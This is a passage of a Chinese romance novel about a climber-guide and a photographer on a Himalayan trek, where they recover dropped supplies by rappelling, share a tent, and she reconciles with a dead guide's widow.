今日天朗气清,温度罕见的达到零度上下,阳光温和不刺眼,晒在人身上暖洋洋的。走了不到两公里,华松栩开始冒汗,于是停下脚步脱排骨羽绒。
徐汀云自然地接过她的背包,掂了掂,“有点份量。刚才华哥问咱要不要驼包,你怎么拒绝了?”
华松栩就着他的手,将脱掉的衣服卡在弹力绳之间,“重装习惯了,有安全感。你怎么不驼?”
徐汀云拍拍肩挂相机,“我也习惯了,职业素养。”
整理好衣服,两人加快脚步撵上队末。
他们时不时在沉默中一前一后走着,有时候聊聊攀冰,偶尔驻足去辨认干枯的高山杜鹃,是言语无法形容的默契。
中午一点左右,抵达第一个休息点,华松栩招呼大家休息二十分钟顺便吃点路餐。
最后梯队共四人,三女两男,两两坐一起,享受疲累后的悠闲。
“赶紧歇会,今天好热。”
“我这有巧克力,谁要?”
“我,谢谢!”
华松栩寻了个裸露的树根坐定,还没来得及掏背包里的食物,眼前冒出一袋牛肉干和一个馒头夹煎蛋。
“吃吧,给你带的。”徐汀云也不挑地方,盘腿坐在她对面的空地。
华松栩望着那金灿灿的蛋,“你什么时候做的?”
“早上起来。”徐汀云扒开保鲜膜直接凑到她唇边,“快吃,就二十分钟。”
华松栩躲了下没躲开,只得接过。
不远处,那对男女留意到这一角的动静,女生笑道:“我就说华姐和这位帅哥是情侣吧?”
“还真不是。”华松栩无奈,旋即意识到他俩方才状似喂饭的动作有些亲昵,眼珠一转说,“是姐弟。”
正呲着牙傻乐的徐汀云一听,真傻了,半是抱怨半是撒娇,“喂!说什么呢!”
小徐现在最怕她说弟弟,他可不想做弟弟。
这一声嗔怪简直是雪上加霜,女生意味深长道:“那是亲姐姐,还是情姐姐呀?”
华松栩:“……”
大家都笑了起来,心照不
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宣。
徐汀云勾唇,抬手作势要说些什么,却话锋一转,“你们猜!”
“那肯定是情姐姐咯!”
“这还用猜?”
华松栩一直努力忘记那夜的禁忌之梦,确实也忘得差不多。然而这会被他们一起哄,死去的记忆强势反攻。
徐汀云见她脸色沉了,立刻收起顽皮,“都是玩笑话啊,我俩就是朋友。”
“行,就是朋友!”
女生加重语气,一字一顿,又引来一阵哄笑。
徐汀云心说完了越描越黑,赶紧夹住尾巴求原谅,装乖道:“不是我说的,是他们误会了!”
华松栩真想给他脑袋来一下,强行忍住。无他,怕再被起哄。
自此之后直到扎营,华松栩主打一个低调冷漠,徐汀云主打一个乖巧听话。尽管如此,情姐姐还是被传开了。
餐帐里,华哥煮饭,石榴摘菜,华松栩切菜。没两分钟,徐汀云跑来顶替了她的位置。
“我来。”
“不用。”
徐汀云被吓到过,说什么都不肯,“交给刀功好的人来,你给我打下手。”
华松栩还不答应。
见两人纠缠不清,华哥凉凉开口:“切个菜就累着你情姐姐了?”
华松栩:……
徐汀云:……他冤枉!
前者狠狠瞪了后者一眼,后者赶紧说:“不是华哥,她不会做饭。”
华哥不满,“不会做饭怎么当向导?”
“我会,我替她。”
“你?”华哥看了眼他的白肤嫩手,摇头。
徐汀云露齿一笑。
晚饭三荤两素两主食,华哥多年领队经验,丝毫不受艰苦环境和物资匮乏的影响,蹲地下两个灶同开,一手掂炒瓢一手下挂面,井然有序行云流水。很快,爆炒牛肉的香气蔓延开来。
酸汤面和芹菜炒牛肉出锅,华哥边盛边问:“你确定能做?”
“能。”徐汀云说,“两个菜同时炒都行。”
“炒坏了你今天就别吃饭。”
徐汀云爽快道:“炒坏了我俩今天都不吃。”
一旁坐在小板凳上装木头人的华松栩:?
无妄之灾。
徐汀云毫无怯意,大剌剌坐定,同时起两口锅倒油下调料掂勺,十秒钟,华哥的怀疑被彻底打消。还没等下菜,他便笑开了,“还真会做饭。”
“我从不吹牛。”小徐还顾得上冲华松栩扬扬下巴,“放心,跟着你徐哥绝对有饭吃!”
华松栩被他灿烂的笑容刺了眼,转而去望帐外渐暗的天色。
从灰调的湛蓝,到浓郁的粉紫,再到静谧的深蓝,终于完成十七个人吃饭洗碗的大工程。
华哥带着石榴挨个检查帐篷,华松栩找了块岩石坐下抽烟。
徐汀云终于憋不住了,“抽烟有害身体。”
“抱歉。”华松栩掐灭塞进口袋里。
徐汀云失笑,“不是我,是说你。”
华松栩撇嘴,不应。
“这个帐篷谁的?!”
华哥凌厉的嗓音传来,两人对视一眼赶了过去,“怎么了?”
石榴在旁边紧张踱步,“少一个防潮垫,有两人没法睡了。”
36. 梅开二度
野外露营,防潮垫至关重要。它相当于身体和地面之间的隔离带,热量向下碰到隔离带反射回来,地面的冷气也被隔离,从而实现保温的功效。
两个女生听到动静跑了过来,“领队,是我们的。怎么了?”
华哥问:“教你们搭帐篷的时候,有没有说铺完防潮垫再放蛋巢,没有防潮垫怎么不和我说?”
女生显然是新手,没有经验,有些局促地说:“不好意思华哥,我没听清楚,以为这样就行。”
华哥看了她们两眼,大步回餐帐拿了自己的防潮垫,又亲自动手铺好,还把帐篷的地钉都加固了下,“以后在户外一定要注意,细节可能决定生死。”
女生连连道谢。
“谢谢华哥。”
“谢谢领队。”
等华哥检查完,华松栩主动上前问:“没有多余的防潮垫的话,你怎么睡?”
华哥正在给血氧仪安电池,头也不抬道:“扛一下,今天天气还行。”
“今天天气好,明天未必。而且明天的营地有积雪。”
“明天再说明天的事。”华哥冲她努嘴,“伸手。”
华松栩没反应过来,“啊?”
华哥认真道:“测血氧,你也得测。”
华松栩:……行吧。
她将手指塞进血氧仪,等了约莫二十秒,机械女声开始汇报。
“血氧值,97。心率,78。”
华哥略显惊讶,又冲徐汀云招呼,“你也来。”
“血氧值,98。心率,80。”
徐汀云勾唇笑,毫不谦虚说:“不好意思,我俩天赋异禀。”
华哥瘫着脸,没搭理他。
平原地区人的血氧值保持在98、99左右,但超过3500的海拔后,因为氧气稀薄血氧会下滑,大部分人处于75至90之间。两人和平原血氧值差不多,还真是天赋异禀。
大家排队来测血氧,华松栩拉着徐汀云坐在一边。
“血氧值,89。心率,110。”
“血氧值,79。心率,102。”
……
她沉默地看了会,忽然倾身,凑到他耳边小声问:“你的防潮垫是单人还是双人?”
“单人。”徐汀云隐约猜到了,心跳有些加速。
果然,她说:“我的是双人。咱俩要不再凑活一下?”
小徐喉结滚动,发自内心地担忧,“这是不是有点不方便?”
华松栩也紧张,但想到华哥直接睡地下,咬牙道:“没什么不方便。”
时隔一个月,两人再次躺在一顶帐篷里,肩挨肩,手碰手。
当然,还是隔着睡袋那种。
徐汀云僵硬地像块石板,一动不敢动,很是不自在地清嗓子,强行找话题,“刚才给华哥防潮垫,我真没想到他能露出那么诧异加感激的表情。”
那只紧挨的臂膀因为发声轻微颤动,却如蝴蝶效应般在华松栩心间掀起滔天巨浪。她不着痕迹往边躲,“他就是外冷内热,丑话说前面的类型。人很好,很负责。”
华哥不光对工作负责,对人也很体贴。嘴上嫌弃她是个女人,刚才洗碗时却故意支开她去做其他事情。
因为这里的流动水源是雪山融水,冰得刺骨。洗十几个人的筷子碗碟锅,手得在水里泡至少二十分钟。
当然徐汀云就没这样的待遇了。小徐不是怕苦怕累的人,也知道华哥对华松栩的好意,于是更加努力地回报,这会指关节还渗疼。
华松栩想到了,于是问:“手是不是不舒服?”
正藏在睡袋里悄悄活动手指的徐汀云赶紧停止,“是不是碰到你了?”
“没有。”华松栩把头灯挂在帐篷顶,“给你拿个暖宝宝捂一下,一会就好了。”
徐汀云嘴上说不麻烦,其实心里暖暖。
作为专业人员,华松栩的包塞得及其严实,是以半跪在睡袋里猛掏半晌才找到。她转身递给徐汀云,胳膊肘却不小心撞到了摇摆的头灯。
光源成抛物线,在尼龙布上拖出一道绚丽的残影,然后嘣一声砸在了徐汀云脑门上。
“嘶——”
小徐躺在木乃伊式睡袋里,全身上下就露个脸,那是想躲躲不掉,想用手挡手拔不出来,只得硬生生挨下。
华松条件反射地伸手揉了揉,“没事吧?!”
徐汀云眼睛都成一条缝了,可怜巴巴地说:“没事……”
刚才那一声脆响,听着都疼,怎么可能没事。华松栩呲牙,就着弹到一边的头灯看,“好像起了个包。”
小徐艰难道:“梅开二度?”
不止是负伤,还有睡在一顶帐篷。反正始终是小徐受苦就是了。
徐汀云缓了缓,等痛感渐渐淡去,终于睁开了眼睛。这一下,全身血液都倒流了。
华松栩距离他不过二十厘米的距离,近到能嗅到她身上淡淡的馨香,近到能看清浅红圆润的唇珠。近到——他只消一抬颈,便能吻上她精巧的下颌。
她一只手臂撑在徐汀云耳侧,另一只手掌压住额头,发丝自然垂落扫过,勾得他百爪挠心。还好,睡袋束缚了他的手,否则他怕自己按耐不住捏她的后颈,再狠狠摁进自己怀中。
华松栩蹙眉一看,额头还是肿起来了,确实有失美观。她叹气,“又破相了小徐。”
已经没救了,揉也无用,她正要收手,却对上了一双幽暗到极致的眸子。
沸腾又压抑,强势又温柔。
瞬间她脊背苏麻,像是被猛兽盯上的猎物,被无可抗拒的攻击性侵入四肢百骸,僵在原地忘了逃跑。
徐汀云喉结上下滑动了好几个来回,嗓音沙哑到极致,“没事,破相了还有才华和肉/体顶着。你说的。”
死寂的夜泛起阵阵涟漪。
华松栩蜷缩在睡袋里,紧紧闭眼,可方才的画面深深刻在脑海里,悸动经久不散。心跳得好快。
徐汀云两只手抓着暖宝宝,有点烫,却忘了松手。心跳得更快。
虽然初始的频率不一致,但随着时间流逝,慢得那颗快了些,因为意识到自己的冲动。快得那颗慢了些,因为坦然接受了自己的冲动。
徐汀云说:“晚安。”
华松栩没吭气,装睡着。
徐汀云笑了,没拆穿。但又说了一次。温柔至极。
“晚
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安。”
第二天从六点开始,两个领队、一个向导外加向导的人形挂件忙得不停。做好饭叫大家起床,吃完洗碗打包收餐帐,同时还得帮缺乏经验的队员们收帐篷收驼包,到八点半才启程。
今天要翻4800米的次于垭口,所以一开始就是陡坡爬升。华松栩和徐汀云又是压着速度跟在队尾。
昨夜余韵未消,华松栩闷头不说话,徐汀云则夹着尾巴跟着,寸步不离。
陡坡爬到山脊,再沿山体横切。绕过一块凸起后,华松栩发现一米宽的临崖窄路竟然出现了拥堵。越过一个个脑袋,最前面是停在路上的一匹马,和朝悬崖下张望的华哥。
“都靠岩壁站。”她提醒,“让个空,我先过去。”
华松栩一路提醒一路来到拥堵地,往下一看,“什么东西掉下去了?”
垂直落差十几米的下方有个窄平台,上面散落了两个蛇皮口袋。
“吃的,和锅。”华哥表情很难看,“这个驼包谁封的口?”
石榴也从队中赶过来,弱弱道:“是我,但我明明系紧了……”
华松栩看了眼驼包敞开的口,了然,“节绑得不好,一路颠着,又蹭岩壁,松了。”
石榴一脸感激,但这追根究底还是他的问题,站在原地不知所措。
华松栩说:“前面一百米左右临崖路段结束,让大家在那休息,咱们回来想办法。”
华哥蹙眉,“掉到那神仙难救,能有什么办法?”
华松栩笑笑没说话,一直跟在她旁边的徐汀云转身摸了摸岩壁,秒懂。
送完队员,四人外加一位马帮大哥折了回来。
华松栩利落地卸包,掏出机械塞、安全带、绳索、下降器等必备器械开始建站。
“玩野攀的。”华哥明白过来,难掩惊讶。
“算吧。”华松栩模棱两可。
“别冒险。”华哥说,“人比东西重要。”
“我有把握才去做,放心。”
华松栩先做了套系统将绳索扔下崖壁,一会拉重物用。又给自己做了套系统,牛尾绳固定住身体后仰,扣下降器,再扣主锁和安全环。最后打了个抓结扣入主锁作为副保。
徐汀云默默站在一边,望着她飒爽的身影,再次体会到心潮澎湃的确切含义。
华松栩最后整理腰间的快挂和绳索。这次其实没带太多东西,还好落差不高,能基本保证。
“没带头盔,OK吗?”徐汀云瞅见她半只脚掌悬空准备下降的动作,蹙眉问道。
“看状况还行。”华松栩登登脚,“有什么短一点的棍吗?我下降的时候清理下落石。”
大家纷纷摇头。毕竟是徒步,主打轻量化,没人会带着榔头或者斧头。
“那算了,我小心点就行。”
“等会!”徐汀云卸下背包猛掏,在众人期待的眼神中掏出了一个三脚架,又找了个根短绳拴住顶端防止脱手,“稍微有点重,但绝对够结实。”
华松栩瞳孔微缩,“这不是那个死贵的三脚架吗?”
之前教他攀冰,抡一下都心疼。
徐汀云塞给她,“骗你的,其实一点都不贵。”
37. 他的达令
华松栩边操纵下降器,边用三脚架顶端清理碎石,很快到底。这个平台宽约三四米,全是岩石,踩起来还算稳当。
她去边沿拾蛇皮口袋,顺便往下看,垂直落差超过两百米,还真是不幸中的万幸。从这滚下去,那着实是神仙难救,直接打道回府。
徐汀云喊:“注意脚下安全!!!”
印度板块和亚欧板块碰撞形成的高原之上,有数不胜数的断层沟谷。这一声途径千沟万壑向远,余音又乘风归来。
华松栩冲头顶比了个OK的手势,将边沿的拖回内侧,用禾木结将两个蛇皮口袋捆在一起,又用顶绳固定一周,最后用布林节保证上行安全。
“怎么样?”头顶华哥喊道。
华松栩向侧后方让了两米,抬头指挥,“拉!速度慢点!”
三个男人一齐用力,蛇皮口袋匀速上升。但毕竟几十公斤的重量,在空中旋转时磕上崖壁,碎石灰土随之噼里啪啦砸落一地。
华松栩用胳膊肘捂住口鼻,一直等物品到顶,才回到崖壁边,冲徐汀云喊:“等会帮我收绳!”
徐汀云探头道:“要不你别爬了,我们把你拉上来!”
“不用!”华松栩立刻回绝。
就他们仨刚才拉蛇皮口袋那样式,她得和崖壁亲密碰撞无数次,还不如自己爬。可即使专业人士使出多年野攀功力,到顶时依然灰头土脸。
徐汀云握住她的手臂,用力拉至安全地带,长吁一口气。
华松栩倚着岩壁喘息,“你紧张?”
“紧张。”徐汀云摸摸脑门上的汗。
华松栩不觉好笑,“你自己攀冰都不紧张,我爬十几米的岩壁紧张?”
“是。”徐汀云说。
华松一时不知道说什么,眼睁睁看着他为自己解了腰间的安全绳,又回收了用到的装备。
“谢谢。”她说。
“不客气。”徐汀云应。
五米外,华哥重新整理好驼包,冲华松栩抬手示意,“都好了,谢谢。”
华松栩颔首:“不客气。”
华哥说:“我带石榴先走,你们收拾一下再来。”
华松栩眨眨眼,“我们也好了。”
不苟言笑的华哥咧嘴笑了,抬手指脸,“这还没好。”
“什么?”
“跟刚挖完煤一样。”
华哥说完就走,留华松栩独自在风中凌乱。
徐汀云手里是早就准备好的湿巾,强忍笑意道:“没镜子,我给你擦。”
华松栩一记眼刀飞来,“很好笑?”
徐汀云赶紧敛住神色,低声哄她,“不好笑,可爱。”
华松栩想了想,发觉可爱也没好到哪里去,脸更瘫了些。
华哥说得夸张,没到挖煤的程度,就是落了浮土。徐汀云掸去她帽子的灰,从额头开始轻柔擦拭。
华松栩僵硬地垂下眼帘,恰巧看到两人相对不足寸余的鞋尖。大一些那双灰黑色,小一些这双札达黄,都沾了泥土,脏兮兮的。
徐汀云的心软得像颗棉花糖,严重影响供血功能,导致手有点软,用了好几张湿巾才让素白秀丽的面庞重见天日,“好了。身上你自己来。”
华松栩摸了摸脸,很光滑,略带潮气,终于放下心。至于冲锋衣裤,好说,湿巾一擦崭新如初。一切就绪,她背上包,“走吧。”
徐汀云说:“等等。”
“等什——”一只手落在了她的徒步鞋上。
徐汀云屈膝蹲下,毫不嫌弃地上手,从鞋尖到系成双节的鞋带,一点点清理掉数日奔波积聚的污垢。
“不、不用。”华松栩往后躲,却被大掌禁锢住脚踝。
好一会,徐汀云满意起身,“这下看华哥还敢不敢说你挖媒。”
华松栩无措地道谢。徐汀云拍拍手,背上包,笑容爽朗,“走吧,去追大部队。”
华松栩搞不明白,为什么和徐汀云一起做的事情,最终走向都格外暧昧。也分不清他的举动是单纯的好心,还是另有图谋。所以她必须更加谨慎。
当晚,在华松栩思考睡一顶帐篷该如何谨慎时,徐汀云扛三脚架走来,“今天天气绝佳,晚上我蹲点拍星空。”
华松栩还没来得及开口,好几顶帐篷探出了脑袋。
“今晚能拍到吗?”
“我也想拍。”
“运动相机能拍出来吗?”
“手机呢?”
最终,将近一半人和徐汀云一起面向群山等待,其中也包括华松栩。
“冷不冷?”徐汀云拖着折叠椅靠近,小声问。
华松栩正裹着营地厚羽绒,“还好。”
“冷的话和我讲。”
所有人都看了过来,华松栩尴尬地摸鼻子,没吭气。
华哥提了个轻量露营灯走来,瞬间温馨的暖光驱散昏暗,连带体感都暖和了。
“干坐着?”
有人反问:“不然呢?”
“搞点娱乐活动。”华哥指指身后,“还有得等。”
一个不大的男生抱怨:“没信号又没法开黑,还能怎么娱乐哇……”
“来这还想玩手机?”华哥无语,“唱歌不行吗?篝火晚会。”
徐汀云敲敲露营灯,光源忽闪了好几下才重新稳定,“灯泡晚会还差不多。”
华哥赶紧拍开他的手,“不唱就不唱,别给我弄坏了。”
徐汀云勾唇,“谁说我不唱,我唱。”
上学开班会老师点人唱歌,上班搞活动抽人唱歌,每个人都经历过。一部分人是眼神躲闪百般推辞,另一部分是高高举手勇于表现。小徐不属于任何一种,他是虽不怕但不想。
今天,他很想。
出头鸟的出现,换来一阵热烈的欢呼掌声。
徐汀云从裤兜掏出手机,打开音乐播放软件,装模作样地下滑列表。
华松栩有被装到,狐疑,“有信号?”
“有离线缓存。”徐汀云点开伴奏,睨她,“非专业人士,别嫌弃哈。”
坐在他右边的石榴捂嘴小声说:“我们是不嫌弃,但华姐嫌不嫌弃,就不好说了。”
“真相了哈哈哈哈!”
“华姐嫌弃吗?”
徐汀云碰她的肩,卑微地问:“嫌弃吗?”
华松栩诚恳地说:“嫌弃。”
在大家的笑声中,徐汀云死皮赖脸,“嫌弃也没办法,凑活听吧。”
舒缓的钢琴倾泻而出,温暖的音符撞上零下二十度的冷空气后迅速抬升,在飞过夜色中依然耀眼夺目的雪山群
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、飞过人造卫星途径上空的轨迹、飞过逐渐亮起的一亿颗星星后,依然不停。
它们还在飞往更远的地方,比如遥远的未来,比如某人的心里。
Ifoundaloveforme
Darlingjustdiverightinfollowmylead
WellIfoundagirlbeautifulandsweet
华松栩托着下巴,视线始终落在远山之间。这个营地处于U型谷之中,前方山体呈现反向的抛物线状,像托住神山神灵安睡的摇篮。徐汀云嗓音磁性温润,一句句歌词咬字清晰又不失柔情,唱响了今夜限定的安睡曲。
IknowIhavemetanangelperson
ShelooksperfectIdon’tdeserveit
DarlingYoulookperfecttonight
徐汀云唱完最后一句后放下手机,目视前方,轻声重复:“DarlingYoulookperfecttonight。”
钢琴声止,过了足足十秒钟,大家才如梦初醒,纷纷鼓掌称赞。
“这叫凑活的话,叫其他人怎么活!”
“就是!”
“好深情!”
徐汀云余光去瞄华松栩,后者依然撑着下巴,看不清神情。于是笑着说:“勉强能入耳吧。”
一片笑声中,华哥默默不言,一直等大家闹完,冷不丁问:“这歌唱给谁的?”
徐汀云捏着手机的指节不自觉用力,“华哥,你起哄让唱歌,你说唱给谁的?”
华哥眯了眯眼,“原来我们是你的达令。”
徐汀云:……
砖头抛出去了,玉就引来了。
石榴探头,天真地问:“所以唱给谁的?”
最后梯队那对情侣失笑,“还能是谁?当然是——”
徐汀云眼看情姐姐三个字就要脱口而出,急中生智道:“唱给雪山女神的。雪山是我的达令,不行吗?”
“不行。”华哥说,“你看梅里主峰卡瓦格博,他的妻子是缅茨姆。每座雪山都有神灵,你算哪根葱叫人家达令?”
徐汀云:……
眼前的不行,他左手边那座打瞌睡的雪山也不行吗?
还好,华哥这么一说,大家都被雪山官配吸引,七嘴八舌聊了起来,饶恕了疯狂着补的徐汀云。
他松了口气,凑到雪山跟前小声询问:“困了吗?要不要回去睡?”
华松栩其实没困,只是怕战火东引装困,见状立刻下了台阶,“有点,我先回去了。”
“好。”徐汀云把头灯递给她,“我拍完到凌晨了,尽量不打扰你休息。”
华松栩嗯了一声,冷静自制,走得也毫不留恋。徐汀云追随她的身影直到外帐拉链拉得严严实实,有一点点失落。
钻进睡袋,华松栩立刻戴上耳机打开音乐软件,在离线缓存里找到这首Perfect,在单曲循环中陷入梦乡。
半夜,她察觉身旁多了个人,于是翻了个身,迷迷糊糊问:“拍到了吗?”
徐汀云轻手轻脚躺下,望着近在咫尺的睡颜,哑声说:“拍到了。很美。”
38. 她的世界
第二天由日照金山揭开序幕。
徐汀云扒着三脚架框框按快门,旁边华松栩边喝粥边说:“三脚架质量确实不错。”
经她当榔头用还完好如初,稳稳当当。要是拍下全程给这牌子打广告,必得大火一把。
徐汀云唔了一声,又摆弄了一阵后直起身问:“吃完没?”
“没有。”华松栩亮出碗底,还有三分之一。
徐汀云勾唇,“嗯,洒不出来就行。”
华松栩一愣,“啊?”
下一秒,她被徐汀云揽住肩向雪山跑去。
华松栩赶紧护住碗,莫名其妙道:“喂!干什么?”
徐汀云一口气跑出去十米才停下,推着她回身,露出恶作剧得逞的笑容,“正在录像。”
华松栩:……
她看了看直对自己的镜头,又看了看双手捧着的粥,怒了,“就不能跟我说一声?我还在吃饭!”
徐汀云赶紧接过,“徐哥替你做形象管理,现在行了吧?”
华松栩哼哼,勉为其难地接受了。
日照金山是灿烂且短暂的。初始只有山尖亮起,随着太阳升起,光线下移,至二分之一处时燃起最明亮的金色,之后渐渐淡去,雪山又恢复了极致的纯白。
男女并肩而立,背对这场盛大的洗礼,他们的笑容连同燃烧的积雪,永远刻进相机传感器里。
回程,华松栩和徐汀云站在最后等着压队,正和马帮沟通的华哥看到了,远远喊道:“今天你打头!”
华松栩一愣。
华哥挥挥手催促,“赶紧,偷懒两天了,换我歇一歇。”
“行。”
华松栩和徐汀云相视一笑,快步赶到最前面,选了个最为舒服的速度向怀远村走去。
队伍第二天早上出山,当晚便歇在了客栈。徐汀云和临时来做饭的阿姐一起重现烤肉晚宴,小二十个人坐在院子里临时搭起的桌椅边吃边聊,好生热闹。
华松栩心情不错但胃口一般,很快就饱了。放下筷子,她忽然看到门外蹲在台阶上的身影,和徐汀云比了个手势后起身走了过去。
“饱了?”她问。
华哥回头看她一眼,“嗯,饱了。”
华松栩掏出烟盒,“抽吗?”
华哥又回头看一眼,嫌弃地收回视线,“女人烟,没意思。”
华松栩失笑,“女人烟怎么了。谁说女子不如男?”
“后半句赞成,烟还是算了。”华哥说。
华松栩没管他,兀自点了一根夹在指尖。
华哥提醒:“你一姑娘,少抽点烟。”
“偶尔。再说男人女人都是人,你也少抽点吧。”
“我这是为了提神,带商队哪有那么容易。”
华松栩颔首赞成,好奇道:“你为什么选择当领队?”
“我?”华哥理所当然道,“喜欢呗!喜欢山里,也喜欢带人去我喜欢的山里。”
“管二十来个人衣食住行,还要时刻操心安全问题。这样也喜欢?”
“喜欢。”华哥笑了,嘴角因为干裂红了一片,似乎还结了痂,应该是疼的,但笑容不减。
“佩服。”华松栩真心实意道。
华哥一撑膝盖起身,语气笃定,“你是玩阿式攀登的吧?”
闻言,华松栩手一抖,烟灰落在了台阶上。好一会,她低声说是。
“我刚开始接触户外,有人想带我玩阿式攀登。我跑去查这是什么玩意,最后就得出一个结论:玩命。我说不行啊,我有爸有妈有家庭,真出事了怎么办?”
“有风险,尽量让风险可控。”华松栩淡声道。
“性格决定命运。我没你这样的勇气,只能当个小领队。”华哥说。
华松栩掐了烟,目光因陷入回忆而变得深远,“带我入行的人说危险,我还挺高兴。因为当时不怎么想活,觉得死在雪山上这个死法不赖。”
“这又何尝不是一种勇气。”华哥伸出手,“华铭。”
华松栩笑了,握了上去,“华松栩。”
“之前我有眼不识泰山,不生气吧?”
“挺不爽的,但理解。”华松栩如实道。
华哥看她直爽,也爽快道:“行。那就祝你一切顺利,不失本心。”
华哥这人看起来像块石头又冷又硬,告别的方式也又冷又硬。
走的时候,还是华松栩和徐汀云去停车场送大家伙,华哥冲两人点点头,上了车。
徐汀云挥手,“路上注意安全,一路顺风啊!”
华哥抬手,一如既往的面无表情,“回吧,走了。”
然后不等两人回话就关上车窗,走得干脆利落。
在车尾卷起的尘土飞扬中,华松栩半眯着眼,无奈地摇头。徐汀云则悄悄看着她笑。
刚到怀远村时,华松栩漠然,对周遭事物兴致缺缺,像是被悬崖边被积雪覆盖看似了无生气的松树,像是被数九寒冰包裹密不透风的岩石,时间也随之静止。
如今,凝固的时间再次流淌起来。
兼职向导顺利收官,三位功臣开始最后的收尾工作。
“明早出发,下午到蓉城……那我买晚上八点的车票,来得及吧?”方木问。
“可以。”华松栩冲厨房探头,“你呢,几点的机票?”
徐汀云正收拾剩下的食材,手下动作一滞,“还没买。”
“还不买?”华松栩蹙眉,“马上过年,机票价格要翻番。”
徐汀云洗了洗手,走到华松栩面前倚住门框,“说起春节,你怎么过?”
华松栩觉得他离自己有些近,撤了一步,下了个台阶。这下显得小徐更高了,只得仰着头,“随随便便就过了。”
“不和家人过吗?”
“嗯。”
徐汀云眸色一闪,“真巧,我也自己过。”
华松栩鼻孔出气,没吭声。
徐汀云话里的暗示十足,加上之前美男出浴要她考虑去京市玩,华松栩心跳莫名加速。然而,正当她以为会再提此事时,对方收回视线,漫不经心道:“不差这一会,收拾完就买。”
说罢,他转身回厨房,穿梭于灶台和储物柜之间,条理清晰又动作麻利。
一时间,华松栩不知道该庆幸还是失落,反正
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有点不得劲。看了会男人的背影后,拖着步子回房间收拾行李。
华松栩将整理好的背包靠墙放置时,恰好面向窗。她抬起手,阳光如缎带般于指间翩然而过,乘风去往远处的罗普峰。不同于清晨的缠绵悱恻,午时一道清晰的交界线将山体分为明暗两面。随着时间推移,明面推着交界线向前走,暗面一步步退后。
她驻足看了许久,直到房门被敲响。
“进!”
徐汀云把脑袋从门缝伸进来,“这会有空吗?”
“怎么了?”
“白玛姐找你。”
华松栩缓缓走下楼梯,扶栏杆的手因为用力泛着青白。小院里,那抹倩丽的身影安然立于枯树旁,正用手指拨弄吹落的褐灰色枝条,密实黑亮的麻花辫于腰间摇曳。
听到脚步声,她回身,泛红的脸庞上是友好却格外小心的微笑。
两人在小院的石桌坐定,都有些局促。
最终,还是白玛先开口,“听小徐说,你们明天就要走了。”
“嗯。”华松栩迟疑片刻后问,“家里都还好吗?”
“都好,多养了十头牦牛,还有五匹马。你们前几天去次于垭口请的马帮,就有家里的两匹马。”
华松栩如释重负,笑着点头,“那就好。”
又是一阵沉默。
白玛忽然握住华松栩放在桌上的手,用偶尔参杂着几个藏语词汇的汉语说:“我来找你没别的意思,就是想和你说谢谢。如果不是你,次仁的妈妈连去医院手术的钱都没有。妈妈如果不在,这个家就散了。”
女孩的手掌粗粝,却又那么温暖。华松栩哑声道:“是我对不起……那些都是我应该做的。”
“不是你错的。”白玛乌黑的眼里满是认真,“次仁是我的男人,我了解他。路是他选的,他只听自己的。”
“如果不是我,他不会在那个时间走那条路。”华松栩手有些抖,连带嗓音也在发颤。
“那也是他选择接下你的给的工作。”白玛坚持,“之前是我不懂事,应该我说对不起。”
望着眼前成熟的面孔,华松栩有些恍惚。一年前,她送次仁的遗体回家。新婚不过半年的白玛跪坐在地哭得歇斯底里,她听不懂藏语,却能听懂那声声泣血的丧夫之痛。
华松栩摸向眼尾,指尖沾染了湿意。
“家里人都明白的,也都感谢你。知道你要走,听说你爱吃,让我给你送些糌粑和牦牛肉。你收下,和小徐一起吃。”
“虽然你的朋友没有找到,但他在山神怀抱里安睡,还有次仁一起,不会孤单的。你也要往前看,不要再回这里了。”
“扎西德勒。”
白玛走了,留下满满一筐食物,留下沉甸甸的心意,也留下了最真挚的祝福。
泪水蜿蜒,模糊了华松栩的视线。她埋下头去,任由自己被汹涌的潮水淹没,任由自己放肆地宣泄积压的情绪。
旁边的凳子轻响,一只温热的大手落在了她的发心,轻抚,一下又一下。
华松栩伸手揪住徐汀云的衣领,额头抵住他宽阔有力的肩。
她在找回她的世界。
39. 离开怀远
在怀远村的最后一顿饭,两人选择去吃牦牛汤锅。方木因为前一天吃了太多零食,肠胃有些不适,选择睡觉恢复体力。
华松栩眼睛微肿,时不时抬手摁摁眼皮,“他不吃饭能行吗?”
“等会给他带点。”徐汀云留意到她的动作,“回去给你弄个冰袋。”
“……倒也不用。”华松栩略不好意思。
徐汀云识相地闭嘴,可她靠在自己肩膀的触感还滞后地存在着,如藤蔓一路穿破血肉,丝丝缕缕缠绕跳动的心脏,又逐渐收紧,令他心跳得频率难减。
途径一个院落时,蓝色的铁门半开,华松栩驻足了几瞬,复而加快脚步追上徐汀云。
一直到点了餐等待,徐汀云才状似无意地问:“咱俩第一次来吃汤锅碰到的男人,是次仁向导的哥哥吧。”
那个开门铲雪,看到华松栩后直接回院子甩上门的男人。
“嗯。”华松栩对他猜到并不意外,只是嗓音淡了些,“他挺恨我。”
徐汀云给她倒酥油茶,“不一定是恨。”
“次仁和哥哥感情特别好,当时简直要和我拼命。”华松栩盯着袅袅升起的水汽,“毕竟,如果不是我加钱雇次仁,次仁也不会遇到意外。”
徐汀云呼吸一窒。他无法想象,在失去挚友连尸身都找不回来的情况下,她如何压下悲痛,独自面对逝者家属的情绪宣泄。
华松栩笑了下,笑意不达眼底,“当时白玛还是刚出嫁不久的姑娘,扑上来质问我,可说的都是藏语,我听不懂……就只能道歉。老太太也哭,但是什么都没说,坐在次仁旁边为他清理脸上口鼻中的污垢,一边默默流泪。”
“我一直找机会给赔偿,他们都不要。直到老太太生了病,要手术,我拜托嘉措回旋,白玛才收下。今天她说不是我的错,还说感谢我……真不怪我吗?几十万的赔偿,和活生生的人相比,值得感谢吗?”
徐汀云不答反问:“还记得那杯热的鲜奶吗?”
华松栩眨眼,“记得。”
“是次仁的哥哥给的。我向他解释情况,他猜到是你,不要钱还多给了一桶。”
华松栩完完全全没想到,怔住了。
“很多事没有谁对谁错,只是这样发生了。但是活着本身没有错。”徐汀云说,“次仁的哥哥对你,最多是迁怒。你的好,每个人都记在心里。你自己也要记在心里”
他有一箩筐的话想要说与她,却碍于身份,只说了一句,“你已经特别特别好了,不要对自己太苛刻。”
华松栩垂下眼皮,摆弄筷子形成两条平行线,以此掩饰无措,“你多大我多大的,说话老气横秋的。”
徐汀云笑得皮痒皮痒,“那叫一声徐哥听听?”
“……不要学油腻男说话。”
徐汀云双手交叠摁住肚脐眼鞠躬,光速滑跪,“是小徐错了。”
华松栩挥挥手,“徐公公平身。”
